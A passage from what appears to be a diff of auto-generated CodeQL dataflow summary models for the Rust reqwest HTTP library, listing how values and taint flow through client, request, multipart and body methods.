["repo:https://github.com/seanmonstar/reqwest:reqwest", "::put", "Argument[self].Reference", "ReturnValue.Field[crate::async_impl::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::request", "Argument[self].Reference", "ReturnValue.Field[crate::async_impl::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::add_crl", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::add_crls", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::add_root_certificate", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::brotli", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::build", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::nodelay]", "ReturnValue.Field[crate::connect::ConnectorBuilder::nodelay]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::build", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::tls_info]", "ReturnValue.Field[crate::connect::ConnectorBuilder::tls_info]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::connect_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::connection_verbose", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::connection_verbose]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::connection_verbose", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::connection_verbose]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::connection_verbose", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::connector_layer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::cookie_provider", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::cookie_store", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::danger_accept_invalid_certs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::danger_accept_invalid_hostnames", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::default_headers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::deflate", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::dns_resolver", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::gzip", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::hickory_dns", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::hickory_dns]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::hickory_dns", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::hickory_dns]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::hickory_dns", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http09_responses", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_allow_obsolete_multiline_headers_in_responses", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::http1_allow_obsolete_multiline_headers_in_responses]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_allow_obsolete_multiline_headers_in_responses", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::http1_allow_obsolete_multiline_headers_in_responses]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_allow_obsolete_multiline_headers_in_responses", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_allow_spaces_after_header_name_in_responses", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::http1_allow_spaces_after_header_name_in_responses]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_allow_spaces_after_header_name_in_responses", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::http1_allow_spaces_after_header_name_in_responses]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_allow_spaces_after_header_name_in_responses", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_ignore_invalid_headers_in_responses", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::http1_ignore_invalid_headers_in_responses]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_ignore_invalid_headers_in_responses", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::http1_ignore_invalid_headers_in_responses]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_ignore_invalid_headers_in_responses", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_only", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_title_case_headers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_adaptive_window", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::http2_adaptive_window]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_adaptive_window", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::http2_adaptive_window]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_adaptive_window", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_initial_connection_window_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_initial_stream_window_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_keep_alive_interval", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_keep_alive_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_keep_alive_while_idle", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::http2_keep_alive_while_idle]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_keep_alive_while_idle", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::http2_keep_alive_while_idle]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_keep_alive_while_idle", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_max_frame_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_max_header_list_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_prior_knowledge", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_conn_receive_window", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_max_idle_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_prior_knowledge", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_send_window", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_stream_receive_window", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::https_only", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::https_only]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::https_only", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::https_only]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::https_only", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::identity", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::local_address", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::max_tls_version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::min_tls_version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::no_proxy", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::pool_idle_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::pool_max_idle_per_host", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::pool_max_idle_per_host]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::pool_max_idle_per_host", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::pool_max_idle_per_host]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::pool_max_idle_per_host", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::proxy", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::read_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::redirect", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::redirect_policy]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::redirect", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::redirect_policy]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::redirect", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::referer", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::referer]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::referer", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::referer]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::referer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::resolve", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::resolve_to_addrs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_keepalive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_nodelay", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::nodelay]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_nodelay", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::nodelay]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_nodelay", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_built_in_native_certs", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::tls_built_in_certs_native]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_built_in_native_certs", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::tls_built_in_certs_native]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_built_in_native_certs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_built_in_root_certs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_built_in_webpki_certs", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::tls_built_in_certs_webpki]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_built_in_webpki_certs", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::tls_built_in_certs_webpki]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_built_in_webpki_certs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_early_data", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::tls_enable_early_data]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_early_data", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::tls_enable_early_data]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_early_data", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_info", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::tls_info]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_info", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::tls_info]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_info", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_sni", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::tls_sni]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_sni", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::tls_sni]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_sni", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::trust_dns", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::hickory_dns]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::trust_dns", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::hickory_dns]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::trust_dns", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::use_native_tls", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::use_preconfigured_tls", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::use_rustls_tls", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::user_agent", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::zstd", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::detect", "Argument[1]", "ReturnValue.Field[crate::async_impl::decoder::Decoder::inner].Field[crate::async_impl::decoder::Inner::PlainText(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_stream", "Argument[self]", "ReturnValue.Field[crate::async_impl::decoder::IoStream(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::async_impl::h3_client::H3Client::connector]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::async_impl::h3_client::connect::H3Connector::resolver]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_connection", "Argument[2]", "ReturnValue.Field[crate::async_impl::h3_client::pool::PoolClient::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::async_impl::h3_client::pool::PoolClient::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::async_impl::h3_client::pool::PoolConnection::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::async_impl::h3_client::pool::PoolConnection::close_rx]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::pool", "Argument[self].Field[crate::async_impl::h3_client::pool::PoolConnection::client].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::pool", "Argument[self].Field[crate::async_impl::h3_client::pool::PoolConnection::client]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::boundary", "Argument[self].Field[crate::async_impl::multipart::FormParts::boundary]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::part", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::percent_encode_attr_chars", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::percent_encode_noop", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::percent_encode_path_segment", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::metadata", "Argument[self].Field[crate::async_impl::multipart::Part::meta]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::value_len", "Argument[self].Field[crate::async_impl::multipart::Part::body_length]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::mime_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::stream_with_length", "Argument[1]", "ReturnValue.Field[crate::async_impl::multipart::Part::body_length].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::file_name", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::fmt_fields", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::headers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::mime", "Argument[0]", "Argument[self].Field[crate::async_impl::multipart::PartMetadata::mime].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::mime", "Argument[0]", "ReturnValue.Field[crate::async_impl::multipart::PartMetadata::mime].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::mime", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::body", "Argument[self].Field[crate::async_impl::request::Request::body].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::body_mut", "Argument[self].Field[crate::async_impl::request::Request::body]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::headers", "Argument[self].Field[crate::async_impl::request::Request::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::headers_mut", "Argument[self].Field[crate::async_impl::request::Request::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::method", "Argument[self].Field[crate::async_impl::request::Request::method]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::method_mut", "Argument[self].Field[crate::async_impl::request::Request::method]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::async_impl::request::Request::method]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::async_impl::request::Request::url]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::pieces", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::timeout", "Argument[self].Field[crate::async_impl::request::Request::timeout].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::timeout_mut", "Argument[self].Field[crate::async_impl::request::Request::timeout]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::try_clone", "Argument[self].Field[crate::async_impl::request::Request::method]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::async_impl::request::Request::method]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::try_clone", "Argument[self].Field[crate::async_impl::request::Request::url]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::async_impl::request::Request::url]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::url", "Argument[self].Field[crate::async_impl::request::Request::url]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::url_mut", "Argument[self].Field[crate::async_impl::request::Request::url]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::version", "Argument[self].Field[crate::async_impl::request::Request::version]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::version_mut", "Argument[self].Field[crate::async_impl::request::Request::version]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::basic_auth", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::bearer_auth", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::body", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::build", "Argument[self].Field[crate::async_impl::request::RequestBuilder::request]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::build_split", "Argument[self].Field[crate::async_impl::request::RequestBuilder::client]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::build_split", "Argument[self].Field[crate::async_impl::request::RequestBuilder::request]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::fetch_mode_no_cors", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::form", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_parts", "Argument[0]", "ReturnValue.Field[crate::async_impl::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::headers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::json", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::async_impl::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::async_impl::request::RequestBuilder::request]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::query", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::try_clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::error_for_status", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::error_for_status_ref", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::url", "Argument[self].Field[crate::async_impl::response::Response::url]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::background_threadpool::BackgroundProcessor::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::layer", "Argument[0]", "ReturnValue.Field[crate::background_threadpool::BackgroundProcessor::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::background_threadpool::BackgroundResponseFuture::rx]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from", "Argument[0]", "ReturnValue.Field[crate::blocking::body::Body::kind].Field[crate::blocking::body::Kind::Bytes(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_async", "Argument[self].Field[crate::blocking::body::Body::kind].Field[crate::blocking::body::Kind::Reader(1)]", "ReturnValue.Field[2]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_reader", 